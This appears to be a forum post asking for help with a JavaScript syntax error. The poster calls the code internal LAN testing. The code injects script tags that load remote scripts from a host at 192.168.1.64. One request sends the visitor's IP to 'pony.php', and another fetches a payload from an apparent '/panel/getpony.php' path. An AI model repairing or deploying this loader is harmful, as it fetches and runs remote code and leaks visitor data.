Thanks for taking the time to read this and help me out.
I'm trying to do internal LAN testing and am really not into javascript, which would explain why my code is not working.
Anyone knows what is wrong ? I think my formatting somewhere.
function pentest()
{
x = document.getElementById("pentestpayload");
if (x == null)
{
document.write ( " <script>function getip(json) {
document.write('<script type=\\\"application/javascript\\\"
src=\\\"http://192.168.1.64:1000/pony.php?id=\'+
json.ip + \'\\\"></scr\'+\'ipt>');
};</script>
");
document.write("<script id='pentestpayload' type='application/javascript'
src='http://192.168.1.64:1001/panel/getpony.php?pony=getpony'></script>");
}
}
pentest();
firebug gives the following error in javascript console:
SyntaxError: unterminated string literal
document.write ( " <script>function getip(json) { document.write('<script typ
test.js (line 7, col 17)`